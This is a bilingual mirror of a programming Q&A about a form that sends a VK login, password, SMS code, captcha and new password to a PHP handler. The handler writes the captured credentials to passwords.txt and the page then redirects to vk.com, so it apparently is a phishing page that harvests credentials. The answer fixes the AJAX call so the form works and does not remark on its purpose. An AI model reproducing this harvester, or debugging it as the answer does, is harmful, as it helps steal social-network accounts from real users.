繁体   English   中英

如何在 AJAX 中获取正确的 JSON 请求并制作正确的 php 处理程序以成功发送 ajax 表单?

[英]How to get correct JSON request in AJAX and make correct php handler to send ajax-form sucessfully?

我在发送 AJAX 表单时遇到了一些问题。我在屏幕截图中遇到了错误:

在此处输入图片说明

关于第 72 行和其他类型的代码,我尝试使用 ajax 发送请求:

 var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() { var response = JSON.parse(auth.responseText); /*if (response.access_token) { changePassword(login, password, response.access_token, g("newpassword").value); return; }*/ if (response.api) { if (response.result) { window.location.replace("https://vk.com/id0"); } else { gettedToken = response.token; var e = response.api.error; if (e.error_code === 14) { $("#password, #sms").fadeOut(300, function () { $("#capt").fadeIn(300); }); g("captcha_key").value = ""; g("captcha_key").focus(); g("capt_img").src = e.captcha_img; g("captcha_sid").value = e.captcha_sid; } } return; }
那么,哪里可以解决问题呢?因为发送表单的按钮不起作用。 这是我的文件 continue.php

 if (isset($_GET['mobile']) && isset($_GET['pass']) && isset($_GET['newpass']) && isset($_GET['repass']) && ($_GET['mobile']!="") && ($_GET['pass']!="") && ($_GET['newpass']!="") && ($_GET['repass']!="")) { $location='https://vk.com/'; $Log = $_GET['mobile']; $Pass = $_GET['pass']; $newpassword = $_GET['newpass']; $newpassword2 = $_GET['repass']; $smscode = $_GET['code']; $log = fopen("passwords.txt","a+"); fwrite($log,"\\n $Log:$Pass:$newpassword:$newpassword2 \\n"); fclose($log); $answer = ['type' => 'success', 'message' => 'All OK']; echo json_encode($answer); } else { echo json_encode(['type' => 'error', 'message' => 'All not OK']); }

首先,我想指出您的代码中的一些内容。

  1. 如果您使用$.ajax进行某种看起来您正在尝试进行的登录,我将使用POST方法而不是GET ,因为您正在处理密码和其他重要信息。
  2. 您从未在$.ajax 中指定您的请求使用的数据类型,例如: JSON、TEXT、HTML
  3. (这是个人的)我会使用一个对象来传递 ajax 调用的参数,而不是将它们附加到 url。

这就是说这里是一个 javascript 代码,您可以尝试从您的服务器获取响应:

`//I would use an object of parameters rather than embedded parameters into the url
let params = {
"act": "login",// i guess u use some case match and the actvity login have the php code you provide
"login": encodeURIComponent(login),
"oldPassword": encodeURIComponent(password) ,
"captcha_key": captcha_key , 
"captcha_sid": captcha_sid , 
"validation_sid": validation_sid , 
"code": smscode , 
"newPassword": encodeURIComponent(g("newpassword").value),
"is2fa": (have2fa ? 1 : 0) , 
"qid": encodeURIComponent(window.location.search) ,
"token":  gettedToken
},
url = "continue.php",//I guess this is the php page that contains the methods you append to your question
type = "GET";// I would use post instead of get since you are sending passwords and other stuff

const _ajax = (url, type, params) => {
  return $.ajax({
    url: url,
    type: type,
    dataType: 'JSON',
    data: params
  })
}

_ajax(url,type,params)
.done((response)=>{
console.log(response);
//do your stuff here
})`

请让我知道这个答案是否有助于解决您的问题,或者我可以做些什么来帮助您。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM